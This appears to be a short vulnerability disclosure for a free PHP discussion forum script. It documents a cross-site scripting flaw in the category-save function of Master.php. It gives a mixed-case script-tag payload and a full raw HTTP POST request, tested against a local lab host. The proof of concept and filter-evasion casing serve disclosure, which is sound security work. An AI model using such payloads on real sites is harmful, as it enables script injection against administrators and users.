� main ▾   ···

0525 / online-discussion-forum-site / **xss.md**

mikeccltt Update xss.md   ⟲ History

⧑ 1 contributor

49 lines (35 sloc) | 1.83 KB   ···

online-discussion-forum-site - Cross-site Scripting (XSS)

vendors: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Date: 2022-05-07

Vulnerability File: /odfs/classes/Master.php

Vulnerability location: /odfs/classes/Master.php?f=save_category, name

[+] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

```
POST http://192.168.2.102/odfs/classes/Master.php?f=save_category HTTP/1.1
Host: 192.168.2.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101
Firefox/100.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=-------------------------
```

```
-11738469778509662238533383019
Content-Length: 743
Origin: http://192.168.2.102
Connection: close
Referer: http://192.168.2.102/odfs/admin/?page=categories
Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj

----------------------------11738469778509662238533383019
Content-Disposition: form-data; name="id"

3
----------------------------11738469778509662238533383019
Content-Disposition: form-data; name="name"

<sCrIpT>alert(1)</sCrIpT>
----------------------------11738469778509662238533383019
Content-Disposition: form-data; name="description"

Python is a high-level, interpreted, general-purpose programming language. Its
design philosophy emphasizes code readability with the use of significant
indentation. Python is dynamically-typed and garbage-collected.
----------------------------11738469778509662238533383019
Content-Disposition: form-data; name="status"

1
----------------------------11738469778509662238533383019--
```